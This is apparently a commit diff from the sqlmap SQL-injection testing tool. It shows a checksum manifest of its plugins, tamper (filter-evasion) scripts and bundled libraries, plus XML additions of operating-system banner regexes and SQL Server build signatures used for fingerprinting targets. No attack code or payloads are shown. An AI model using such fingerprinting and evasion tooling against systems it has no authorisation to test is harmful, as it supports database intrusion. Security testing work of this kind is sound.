6e355c60fbb131d1190d993732198989f3d17db21cb3b55edaaf586d49cd6807 plugins/dbms/virtuoso/__init__.py
|
|
||||||
3d69cd5d416090ef9fbdcfa7e563721e1575e4bef03a4ee45e17e6bd14deb449 plugins/dbms/virtuoso/syntax.py
|
|
||||||
f00e5d1d8ddedcb7980b442d5cabf8bf1c7783c289e32c57a7107f37a3fb40a5 plugins/dbms/virtuoso/takeover.py
|
|
||||||
25ed1b975dd09a9224056a02e1f7997512da13eb1aa45222cb817928c681f474 plugins/generic/connector.py
|
|
||||||
b333c73c6a490b5930a09c6c09951af1044eb97076446b2f1475c7cfdfc838a6 plugins/generic/custom.py
|
|
||||||
4a923f52e8d2dfa6b55c16e08fd5f64eeb292b99573030c0397c7292a4032dd3 plugins/generic/databases.py
|
|
||||||
9b0dbf8f77f190ca92cc58e9c5f784d0b30276ee7d99906f6d9c826c23b6d2e1 plugins/generic/entries.py
|
|
||||||
783a17bb5188b6b9f4a73dbf10d5cf5c073144d5c1970a9d4aec27cb828e2356 plugins/generic/enumeration.py
|
|
||||||
5dbcb646c03b43d1f26c0dbd17ae8fb537fdc526ca9984e1cc3e9eae12c38e6e plugins/generic/filesystem.py
|
|
||||||
ab661b605012168d72f84a92ff7e233542df3825c66714c99073e56acea37e2e plugins/generic/fingerprint.py
|
|
||||||
4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 plugins/generic/__init__.py
|
|
||||||
9ec577d8ccf4698d4e7834bf1e97aea58fba9d2609714b7139c747bcc4f59a30 plugins/generic/misc.py
|
|
||||||
546486bd4221729d7d85b6ce3dbc263c818d091c67774bd781d7d72896eb733b plugins/generic/search.py
|
|
||||||
9be0e2f931b559052518b68511117d6d6e926e69e463ddfa6dc8e9717c0ca677 plugins/generic/syntax.py
|
|
||||||
7bb6403d83cc9fd880180e3ad36dca0cc8268f05f9d7e6f6dba6d405eea48c3a plugins/generic/takeover.py
|
|
||||||
115ee30c77698bb041351686a3f191a3aa247adb2e0da9844f1ad048d0e002cd plugins/generic/users.py
|
|
||||||
4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 plugins/__init__.py
|
|
||||||
90530922cac9747a5c7cf8afcc86a4854ee5a1f38ea0381a62d41fc74afe549a README.md
|
|
||||||
535ab6ac8b8441a3758cee86df3e68abec8b43eee54e32777967252057915acc sqlmapapi.py
|
|
||||||
168309215af7dd5b0b71070e1770e72f1cbb29a3d8025143fb8aa0b88cd56b62 sqlmapapi.yaml
|
|
||||||
4121621b1accd6099eed095e9aa48d6db6a4fdfa3bbc5eb569d54c050132cbbf sqlmap.conf
|
|
||||||
515893a1105f06afb6e91d7a32d89ed350828244f2a4c638d36240b284a61363 sqlmap.py
|
|
||||||
82caac95182ac5cae02eb7d8a2dc07e71389aeae6b838d3d3f402c9597eb086a tamper/0eunion.py
|
|
||||||
bc8f5e638578919e4e75a5b01a84b47456bac0fd540e600975a52408a3433460 tamper/apostrophemask.py
|
|
||||||
c9c3d71f11de0140906d7b4f24fadb9926dc8eaf5adab864f8106275f05526ce tamper/apostrophenullencode.py
|
|
||||||
fa18d565b7b6b1000942414d65aea762b20632079ed3e1a96fe1005f81fccf07 tamper/appendnullbyte.py
|
|
||||||
627573bd838cba4c0b688b401ecbc11a15969bd6ded0d2d7e838d622ffe40b99 tamper/base64encode.py
|
|
||||||
5714dddccd9a94238e58737f8b2ee1a272100037a8360342080f865cc7aa3a4d tamper/between.py
|
|
||||||
e8964badea5a1026da0e67e2b810297e4d2e45c64aee5192d2c5979feae93e69 tamper/binary.py
|
|
||||||
6dce750c7eb79ddc8743d44233045e7804a4191c9523614e8ee187f1696bb655 tamper/bluecoat.py
|
|
||||||
4186cf796e0b62c6de81902c33139abd9091725567f49b0f198a1f890f3b9d82 tamper/chardoubleencode.py
|
|
||||||
71077c3a28ba68d91baa538e08ca3ba55107f607618269261a0dc0858918b236 tamper/charencode.py
|
|
||||||
60ba0b3d985394a962daa097faa31afb80d5ba93dbd495104a519559386c7350 tamper/charunicodeencode.py
|
|
||||||
5ec4038bd71c806b903086ad1e099f72c319c7a3b31c4cdf91c97d1fb9d0bdd7 tamper/charunicodeescape.py
|
|
||||||
9ad1ee5f134e0fa4f3b16b3622e66f212ffd658b099ef75eaaa96d7a63c2fc2e tamper/commalesslimit.py
|
|
||||||
b28bbe837dc70b935143650d907832038aaec19595a93de96d68131c830e2490 tamper/commalessmid.py
|
|
||||||
b94713ce6a47d810dd699a480e14e0fd6e6095778d74e5a69e867440ddb1ce66 tamper/commentbeforeparentheses.py
|
|
||||||
beb5d4129badba301e0cad26652b05af9220921fd99e72c8d5789c2f75c7f171 tamper/concat2concatws.py
|
|
||||||
cd86b89c63932b7ce204cd80c6d0141ac4bb564b8ea5d1b9eb24a8407431f50f tamper/decentities.py
|
|
||||||
252a97217f6d3ddd227a1e997cd30f8e0fdc21e235e23307e2bdee96a110c4c6 tamper/dunion.py
|
|
||||||
853de839258e9137b252fb61429e7353ea9f8b555d050244333836bd99981324 tamper/equaltolike.py
|
|
||||||
a50b70dd62ee00896c46581d81b1b51bedcec303cb5df2f6c6d98c2817608650 tamper/equaltorlike.py
|
|
||||||
89803e274257d906e7472a91e60ea0fd0fb4a846eb68dd66b73d298a81a88ee1 tamper/escapequotes.py
|
|
||||||
e65a98f6b043401fc0b37c821ef9a459e476df33f9dc885756f08c711b4045a1 tamper/greatest.py
|
|
||||||
a7c656e8a2e09541f435931266c6c9fb20b0cf868f70fb77bff0402e73150a56 tamper/halfversionedmorekeywords.py
|
|
||||||
af421c0f873e76c2f7182310066d16c7bf14bdda0e79b0eb3cf07be0eca234ed tamper/hex2char.py
|
|
||||||
4e5d509fb552f92b70f48346df07987ebd7380f92b419d5316b72d07a172b037 tamper/hexentities.py
|
|
||||||
ae95bef04799cd112e81e8527b88669092996243ce161df85ded36fcda188ae6 tamper/htmlencode.py
|
|
||||||
fa34e56b7b6578a4611973f273dabac7532672188f2b14a5a68504abb4873d40 tamper/if2case.py
|
|
||||||
392f14be8826c59cbace4f4ef4e02f3b4c9fa85892aa2c33b8bf9ec8bb67bda5 tamper/ifnull2casewhenisnull.py
|
|
||||||
3a4679f864cffab5f0d0b60a0d0ffdba4adfaba489c07f019d83e0d911dedd1e tamper/ifnull2ifisnull.py
|
|
||||||
d22f2208649ffc72e2a80f464eacbe35157e1ebebe7889ae9aea3748116a96b7 tamper/informationschemacomment.py
|
|
||||||
4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 tamper/__init__.py
|
|
||||||
5fb731d9c0340bd97bc6f647325cf624e7387ae44ce5920ae14c47d007ceb7ea tamper/least.py
|
|
||||||
a108d0943a17e5e9d3e256ed58a9e1a15327286c6d5a63bf6aad276fb28216ef tamper/lowercase.py
|
|
||||||
19a1ef76b21931a5e688771a341dc46325129414badc0fbf8c6e35fcce2bd7c0 tamper/luanginxmore.py
|
|
||||||
f85b74c64441d038198da6b569c050aafd3a0575504c6d0d07d09cdca663692a tamper/luanginx.py
|
|
||||||
2f1819436c68d2bbb69380508becf8660bddc2cab9349d30c46b0ab727ba7dec tamper/misunion.py
|
|
||||||
6a2d6cf5d7dc6eb838d0ea8a8e5748db14dd8a415fad0994ab0f05bfe87ed5a5 tamper/modsecurityversioned.py
|
|
||||||
712a2f7a8f68d16bc77a5e8772098f168207a6815b71a027c2f241655d616102 tamper/modsecurityzeroversioned.py
|
|
||||||
458fbf5ae865f3b3de237790de1f7045a820d409649a244c8cc2402fa9582c21 tamper/multiplespaces.py
|
|
||||||
d8e049d1c0b4273bb6cee844767503a60f97301a7041e5c8b51cb0557c413d28 tamper/ord2ascii.py
|
|
||||||
cf7a99f5a4d6df30b1b8c0df55eb6e950077ec14b31062dd21d2c2d924d58d74 tamper/overlongutf8more.py
|
|
||||||
381b5fc6fdda0cd287dd6bf2d098c318fab8f42f5ae3ec4e774e864bf57fd51d tamper/overlongutf8.py
|
|
||||||
965636cef15f4b5d1ce2d802e1be8b51025ee95f96b58ae0131340945e9c7026 tamper/percentage.py
|
|
||||||
97b6c357c42308fa76d93d271824e53f436fceb33f9a7e74acc8b91da3abb7f4 tamper/plus2concat.py
|
|
||||||
d49fd12b78fb6f38c4a31c9c7badaf11f65600127783ebb4e941ab0ed2284489 tamper/plus2fnconcat.py
|
|
||||||
2edf00005991d6546c0ddcab103451ae9425c177bc5519d16b2a78e3e308ec71 tamper/randomcase.py
|
|
||||||
3259e9189a5d3c2ab476653bc65e45dc481f7541d2688cc8041281ce57205681 tamper/randomcomments.py
|
|
||||||
8abd8df65c852011a73ffe69febce52f2d383cdb947a70de0ddb2a0f1272e6f6 tamper/schemasplit.py
|
|
||||||
fc90359a31849c890399f146e5f26edf78f6729cabe022cc49748835a870c16c tamper/scientific.py
|
|
||||||
387236175825c1651bbf353e7a5553417da9898e60c6e32b302c214ca4ac583f tamper/sleep2getlock.py
|
|
||||||
8de7553f15e7ecee5f0da426829dcd73397889645cb43fc9c47d9e5f122c9524 tamper/space2comment.py
|
|
||||||
a958305e53d9ca98014918c415d0671e46ca45c6a32762c379e96ab946e75db0 tamper/space2dash.py
|
|
||||||
3e99a94e0712906558e346b97d3fdad4e9b349b58f7273e6f9340333774eb71a tamper/space2hash.py
|
|
||||||
f5eb72cc564abba171a881fd8b8335bc19efc8333396575db8f18ce0ca8d1e9f tamper/space2morecomment.py
|
|
||||||
2b6ec63af32b6a71c5de288e1d507d49513b9690a9c0c79b85e13aba1caabf23 tamper/space2morehash.py
|
|
||||||
e434ba59a2a68c273a407d99762bf71d08f3b5876efacc9ef1c06d655d5fa7bb tamper/space2mssqlblank.py
|
|
||||||
0795280f1264b9d2a92ea1017a30c3299fac00403ab35f8110fca173bfdee206 tamper/space2mssqlhash.py
|
|
||||||
26faeb39842c3770d0f59d871325eb9a59ea29e5f43cfab2872edc7a947a3d73 tamper/space2mysqlblank.py
|
|
||||||
50365aa886349a268ce39820af2b68d2b119bbfca53e97dbdbadb7296f8f4ce6 tamper/space2mysqldash.py
|
|
||||||
e5a8d49f6985e27d2d0aebf1227a1d22dea11a4852ccf6ab7fa5e9c84c79a88c tamper/space2plus.py
|
|
||||||
c8debf71c17719ea4f3c2f07596fcf3f9972f9b4ef70ae25893a1bd5bed8655c tamper/space2randomblank.py
|
|
||||||
409214cfca98144ce28805ab65ff365189e398e9e9eabb709d1bc00ae7eb36c9 tamper/sp_password.py
|
|
||||||
de34e24d47e84a0079665ff0253fdafac3d7b1444ae6429735fce1cecaba54c7 tamper/substring2leftright.py
|
|
||||||
0b50c760a4c08d547a8f86234d9f40bfeb0311d81f342ab08c8a9c0f1cdf2e85 tamper/symboliclogical.py
|
|
||||||
5a56f752f1276a4f60b442d7e13aa55d58f71dcc0113a1a849831a9b658cab20 tamper/unionalltounion.py
|
|
||||||
a096122382135668beb66eecf266b77e616695021ee973d0301afe1098fd3ecd tamper/unmagicquotes.py
|
|
||||||
c48f6dc142fbf062254494e4c41b62852f26095f10d01be85140d5fd836d98d3 tamper/uppercase.py
|
|
||||||
b88ff93aeb9da9c4c056c6df94e94b798a860ce01846ae2a01962edf9f3ff794 tamper/varnish.py
|
|
||||||
1219349c2c9fafa21e36dce8bdb5f0be52bd0b6e3d8af6233fe571239543c46b tamper/versionedkeywords.py
|
|
||||||
6a006674d9e5dba780f6a81897e762b7da36dc259bf3775d392a562574cae7b5 tamper/versionedmorekeywords.py
|
|
||||||
40c03cf396bc5a090b04f7588b9012ce4de29fc0eceb0ef5e0f7e687d5d11c08 tamper/xforwardedfor.py
|
|
||||||
55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py
|
|
||||||
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py
|
|
||||||
dfb8a36f58a3ae72c34d6a350830857c88ff8938fe256af585d5c9c63040c5b2 thirdparty/beautifulsoup/beautifulsoup.py
|
|
||||||
7d62c59f787f987cbce0de5375f604da8de0ba01742842fb2b3d12fcb92fcb63 thirdparty/beautifulsoup/__init__.py
|
|
||||||
0915f7e3d0025f81a2883cd958813470a4be661744d7fffa46848b45506b951a thirdparty/bottle/bottle.py
|
|
||||||
9f56e761d79bfdb34304a012586cb04d16b435ef6130091a97702e559260a2f2 thirdparty/bottle/__init__.py
|
|
||||||
0ffccae46cb3a15b117acd0790b2738a5b45417d1b2822ceac57bdff10ef3bff thirdparty/chardet/big5freq.py
|
|
||||||
901c476dd7ad0693deef1ae56fe7bdf748a8b7ae20fde1922dddf6941eff8773 thirdparty/chardet/big5prober.py
|
|
||||||
df0a164bad8aac6a282b2ab3e334129e315b2696ba57b834d9d68089b4f0725f thirdparty/chardet/chardistribution.py
|
|
||||||
e9b0eef1822246e49c5f871af4881bd14ebd4c0d8f1975c37a3e82738ffd90ee thirdparty/chardet/charsetgroupprober.py
|
|
||||||
2929b0244ae3ca9ca3d1b459982e45e5e33b73c61080b6088d95e29ed64db2d8 thirdparty/chardet/charsetprober.py
|
|
||||||
558a7fe9ccb2922e6c1e05c34999d75b8ab5a1e94773772ef40c904d7eeeba0f thirdparty/chardet/codingstatemachine.py
|
|
||||||
3ca4f31e449bb5b1c3a92f4fcae8cc6d7ef8ab56bc98ca5e4130d5b10859311c thirdparty/chardet/compat.py
|
|
||||||
4d9e37e105fccf306c9d4bcbffcc26e004154d9d9992a10440bfe5370f5ff68c thirdparty/chardet/cp949prober.py
|
|
||||||
0229b075bf5ab357492996853541f63a158854155de9990927f58ae6c358f1c5 thirdparty/chardet/enums.py
|
|
||||||
924caa560d58c370c8380309d9b765c9081415086e1c05bc7541ac913a0d5927 thirdparty/chardet/escprober.py
|
|
||||||
46e5e580dbd32036ab9ddbe594d0a4e56641229742c50d2471df4402ec5487ce thirdparty/chardet/escsm.py
|
|
||||||
883f09769d084918e08e254dedfd1ef3119e409e46336a1e675740f276d2794c thirdparty/chardet/eucjpprober.py
|
|
||||||
fbb19d9af8167b3e3e78ee12b97a5aeed0620e2e6f45743c5af74503355a49fa thirdparty/chardet/euckrfreq.py
|
|
||||||
32a14c4d05f15b81dbcc8a59f652831c1dc637c48fe328877a74e67fc83f3f16 thirdparty/chardet/euckrprober.py
|
|
||||||
368d56c9db853a00795484d403b3cbc82e6825137347231b07168a235975e8c0 thirdparty/chardet/euctwfreq.py
|
|
||||||
d77a7a10fe3245ac6a9cfe221edc47389e91db3c47ab5fe6f214d18f3559f797 thirdparty/chardet/euctwprober.py
|
|
||||||
257f25b3078a2e69c2c2693c507110b0b824affacffe411bbe2bc2e2a3ceae57 thirdparty/chardet/gb2312freq.py
|
|
||||||
806bc85a2f568438c4fb14171ef348cab9cbbc46cc01883251267ae4751fca5c thirdparty/chardet/gb2312prober.py
|
|
||||||
737499f8aee1bf2cc663a251019c4983027fb144bd93459892f318d34601605a thirdparty/chardet/hebrewprober.py
|
|
||||||
62c3f9c1096c1c9d9ab85d516497f2a624ab080eff6d08919b7112fcd23bebe6 thirdparty/chardet/__init__.py
|
|
||||||
be9989bf606ed09f209cc5513c730579f4d1be8fe16b59abc8b8a0f0207080e8 thirdparty/chardet/jisfreq.py
|
|
||||||
3d894da915104fc2ccddc4f91661c63f48a2b1c1654d6103f763002ef06e9e0a thirdparty/chardet/jpcntx.py
|
|
||||||
d47a904bd3dbb678f5c508318ad24cbf0f17ea42abe4ea1c90d09959f110acf1 thirdparty/chardet/langbulgarianmodel.py
|
|
||||||
2ce0da8efb1eb47f3bc980c340a0360942d7507f3bb48db6ddd85f8e1f59c7d7 thirdparty/chardet/langcyrillicmodel.py
|
|
||||||
f18016edb53c6304896a9d2420949b3ccc35044ab31a35b3a9ca9fd168142800 thirdparty/chardet/langgreekmodel.py
|
|
||||||
2529ea984e44eb6b432d33d3bcba50b20e6038c3b83db75646f57b02f91cd070 thirdparty/chardet/langhebrewmodel.py
|
|
||||||
4616a96121b997465a3be555e056a7e6c5b4591190aa1c0133ad72c77cb1c8e0 thirdparty/chardet/langhungarianmodel.py
|
|
||||||
f25d35ef71aefd6e86f26c6640e4c417896cd98744ec5c567f74244b11065c94 thirdparty/chardet/langthaimodel.py
|
|
||||||
5b6d9e44d26ca88eae5807f05d22955969c27ab62aac8f1d6504e6fccd254459 thirdparty/chardet/langturkishmodel.py
|
|
||||||
4b6228391845937f451053a54855ad815c9b4623fa87b0652e574755c94d914f thirdparty/chardet/latin1prober.py
|
|
||||||
011f797851fdbeea927ef2d064df8be628de6b6e4d3810a85eac3cb393bdc4b4 thirdparty/chardet/mbcharsetprober.py
|
|
||||||
87a4d19e762ad8ec46d56743e493b2c5c755a67edd1b4abebc1f275abe666e1e thirdparty/chardet/mbcsgroupprober.py
|
|
||||||
498df6c15205dc7cdc8d8dc1684b29cbd99eb5b3522b120807444a3e7eed8e92 thirdparty/chardet/mbcssm.py
|
|
||||||
2c34a90a5743085958c149069300f6a05c4b94f5885974f4f5a907ff63e263be thirdparty/chardet/sbcharsetprober.py
|
|
||||||
d48a6b70207f935a9f9a7c460ba3016f110b94aa83dec716e92f1823075ec970 thirdparty/chardet/sbcsgroupprober.py
|
|
||||||
208b7e9598f4589a8ae2b9946732993f8189944f0a504b45615b98f7a7a4e4c4 thirdparty/chardet/sjisprober.py
|
|
||||||
a8bd35ef8952644e38d9e076d679e4b53f7f55c0327b4ee5685594794ae3b6d6 thirdparty/chardet/universaldetector.py
|
|
||||||
21d0fcbf7cd63ac07c38b8b23e2fb2fdfab08a9445c55f4d73578a04b4ae204c thirdparty/chardet/utf8prober.py
|
|
||||||
b29dc1d3c9ab0d707ea5fdcaf5fa89ff37831ce08b0bc46b9e04320c56a9ffb8 thirdparty/chardet/version.py
|
|
||||||
1c1ee8a91eb20f8038ace6611610673243d0f71e2b7566111698462182c7efdd thirdparty/clientform/clientform.py
|
|
||||||
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/clientform/__init__.py
|
|
||||||
162d2e9fe40ba919bebfba3f9ca88eab20bc3daa4124aec32d5feaf4b2ad4ced thirdparty/colorama/ansi.py
|
|
||||||
a7070aa13221d97e6d2df0f522b41f1876cd46cb1ddb16d44c1f304f7bab03a3 thirdparty/colorama/ansitowin32.py
|
|
||||||
d7b5750fa3a21295c761a00716543234aefd2aa8250966a6c06de38c50634659 thirdparty/colorama/initialise.py
|
|
||||||
f71072ad3be4f6ea642f934657922dd848dee3e93334bc1aff59463d6a57a0d5 thirdparty/colorama/__init__.py
|
|
||||||
fd2084a132bf180dad5359e16dac8a29a73ebfd267f7c9423c814e7853060874 thirdparty/colorama/win32.py
|
|
||||||
179e47739cdcb6d8f97713b4ecf2c84502ed9894d20cf941af5010a91b5275ea thirdparty/colorama/winterm.py
|
|
||||||
4f4b2df6de9c0a8582150c59de2eb665b75548e5a57843fb6d504671ee6e4df3 thirdparty/fcrypt/fcrypt.py
|
|
||||||
6a70ddcae455a3876a0f43b0850a19e2d9586d43f7b913dc1ffdf87e87d4bd3f thirdparty/fcrypt/__init__.py
|
|
||||||
dbd1639f97279c76b07c03950e7eb61ed531af542a1bdbe23e83cb2181584fd9 thirdparty/identywaf/data.json
|
|
||||||
5aa308d6173ad9e2a5006a719fdbfe8c20d7e14b6d70c04045b935e44caa96d0 thirdparty/identywaf/identYwaf.py
|
|
||||||
edf23e7105539d700a1ae1bc52436e57e019b345a7d0227e4d85b6353ef535fa thirdparty/identywaf/__init__.py
|
|
||||||
d846fdc47a11a58da9e463a948200f69265181f3dbc38148bfe4141fade10347 thirdparty/identywaf/LICENSE
|
|
||||||
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/__init__.py
|
|
||||||
879d96f2460bc6c79c0db46b5813080841c7403399292ce76fe1dc0a6ed353d8 thirdparty/keepalive/__init__.py
|
|
||||||
f517561115b0cfaa509d0d4216cd91c7de92c6a5a30f1688fdca22e4cd52b8f8 thirdparty/keepalive/keepalive.py
|
|
||||||
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/magic/__init__.py
|
|
||||||
4d89a52f809c28ce1dc17bb0c00c775475b8ce01c2165942877596a6180a2fd8 thirdparty/magic/magic.py
|
|
||||||
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/multipart/__init__.py
|
|
||||||
2574a2027b4a63214bad8bd71f28cac66b5748159bf16d63eb2a3e933985b0a5 thirdparty/multipart/multipartpost.py
|
|
||||||
ef70b88cc969a3e259868f163ad822832f846196e3f7d7eccb84958c80b7f696 thirdparty/odict/__init__.py
|
|
||||||
9a8186aeb9553407f475f59d1fab0346ceab692cf4a378c15acd411f271c8fdb thirdparty/odict/ordereddict.py
|
|
||||||
691ae693e3a33dd730930492ff9e7e3bdec45e90e3a607b869a37ecd0354c2d8 thirdparty/prettyprint/__init__.py
|
|
||||||
8df6e8c60eac4c83b1bf8c4e0e0276a4caa3c5f0ca57bc6a2116f31f19d3c33f thirdparty/prettyprint/prettyprint.py
|
|
||||||
3739db672154ad4dfa05c9ac298b0440f3f1500c6a3697c2b8ac759479426b84 thirdparty/pydes/__init__.py
|
|
||||||
4c9d2c630064018575611179471191914299992d018efdc861a7109f3ec7de5e thirdparty/pydes/pyDes.py
|
|
||||||
c51c91f703d3d4b3696c923cb5fec213e05e75d9215393befac7f2fa6a3904df thirdparty/six/__init__.py
|
|
||||||
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/socks/__init__.py
|
|
||||||
7027e214e014eb78b7adcc1ceda5aca713a79fc4f6a0c52c9da5b3e707e6ffe9 thirdparty/socks/LICENSE
|
|
||||||
57dba7460c09b7922df68b981e824135f1a6306180ba4c107b626e3232513eff thirdparty/socks/socks.py
|
|
||||||
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/termcolor/__init__.py
|
|
||||||
b14474d467c70f5fe6cb8ed624f79d881c04fe6aeb7d406455da624fe8b3c0df thirdparty/termcolor/termcolor.py
|
|
||||||
4db695470f664b0d7cd5e6b9f3c94c8d811c4c550f37f17ed7bdab61bc3bdefc thirdparty/wininetpton/__init__.py
|
|
||||||
7d7ec81c788600d02d557c13f9781bb33f8a699c5a44c4df0a065348ad2ee502 thirdparty/wininetpton/win_inet_pton.py
|
|
||||||
+3389
-2987
File diff suppressed because it is too large
Load Diff
+187
-4271
File diff suppressed because it is too large
Load Diff
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -3,7 +3,7 @@
|
|||||||
<root>
|
<root>
|
||||||
<!-- Windows -->
|
<!-- Windows -->
|
||||||
|
|
||||||
<regexp value="(Microsoft|Windows|Win32)">
|
<regexp value="(Microsoft|Windows|Win32|Win64|WOW64|Cygwin|MinGW)">
|
||||||
<info type="Windows"/>
|
<info type="Windows"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
@@ -34,7 +34,7 @@
|
|||||||
<!-- Reference: https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832%28v=vs.85%29.aspx -->
|
<!-- Reference: https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832%28v=vs.85%29.aspx -->
|
||||||
|
|
||||||
<regexp value="Windows.*\b10\.0">
|
<regexp value="Windows.*\b10\.0">
|
||||||
<info type="Windows" distrib="2016|2019|2022|10|11"/>
|
<info type="Windows" distrib="2016|2019|2022|2025|10|11"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="Windows.*\b6\.3">
|
<regexp value="Windows.*\b6\.3">
|
||||||
@@ -151,6 +151,38 @@
|
|||||||
<info type="Linux" distrib="Ubuntu"/>
|
<info type="Linux" distrib="Ubuntu"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="\bAlpine\b">
|
||||||
|
<info type="Linux" distrib="Alpine"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Oracle ?Linux">
|
||||||
|
<info type="Linux" distrib="Oracle"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="\bRHEL\b">
|
||||||
|
<info type="Linux" distrib="Red Hat"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Amazon Linux">
|
||||||
|
<info type="Linux" distrib="Amazon"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Raspbian">
|
||||||
|
<info type="Linux" distrib="Raspbian"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="\bKali\b">
|
||||||
|
<info type="Linux" distrib="Kali"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Rocky Linux">
|
||||||
|
<info type="Linux" distrib="Rocky"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="AlmaLinux">
|
||||||
|
<info type="Linux" distrib="Alma"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
<!-- BSD -->
|
<!-- BSD -->
|
||||||
|
|
||||||
<regexp value="FreeBSD">
|
<regexp value="FreeBSD">
|
||||||
@@ -167,11 +199,22 @@
|
|||||||
|
|
||||||
<!-- Mac OSX -->
|
<!-- Mac OSX -->
|
||||||
|
|
||||||
<regexp value="Mac[\-\_\ ]?OSX">
|
<regexp value="Mac[\-\_\ ]?OS ?X|macOS|Darwin">
|
||||||
<info type="Mac OSX"/>
|
<info type="Mac OSX"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
<regexp value="Darwin">
|
<!-- *nix -->
|
||||||
<info type="Mac OSX"/>
|
|
||||||
|
<regexp value="SunOS|Solaris">
|
||||||
|
<info type="SunOS"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="\bAIX\b">
|
||||||
|
<info type="AIX"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="HP-UX|HPUX">
|
||||||
|
<info type="HP-UX"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
</root>
|
</root>
|
||||||
|
|||||||
@@ -1,5 +1,195 @@
|
|||||||
<?xml version="1.0" ?>
|
<?xml version="1.0" ?>
|
||||||
|
<!--
|
||||||
|
Release/Service Pack anchors for SQL Server 2012-2022.
|
||||||
|
Each release leads with a coarse "major.minor" signature (matches any patch
|
||||||
|
level, so the product year is always resolved) followed by exact RTM/SP base
|
||||||
|
builds (last match wins, so the specific entry overrides the coarse fallback
|
||||||
|
and adds Service Pack identification). 2017+ use the CU servicing model (no SPs).
|
||||||
|
Reference: https://learn.microsoft.com/en-us/troubleshoot/sql/releases/download-and-install-latest-updates
|
||||||
|
-->
|
||||||
<root>
|
<root>
|
||||||
|
<signatures release="2022">
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
16.0
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
16.0.1000.6
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
0
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
</signatures>
|
||||||
|
<signatures release="2019">
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
15.0
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
15.0.2000.5
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
0
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
</signatures>
|
||||||
|
<signatures release="2017">
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
14.0
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
14.0.1000.169
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
0
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
</signatures>
|
||||||
|
<signatures release="2016">
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
13.0
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
13.0.1601.5
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
0
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
13.0.4001.0
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
1
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
13.0.5026.0
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
2
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
<signature>
|
||||||
|
<version>
|
||||||
|
13.0.6300.2
|
||||||
|
</version>
|
||||||
|
<servicepack>
|
||||||
|
3
|
||||||
|
</servicepack>
|
||||||
|
</signature>
|
||||||
|
</signatures>
|
||||||
|
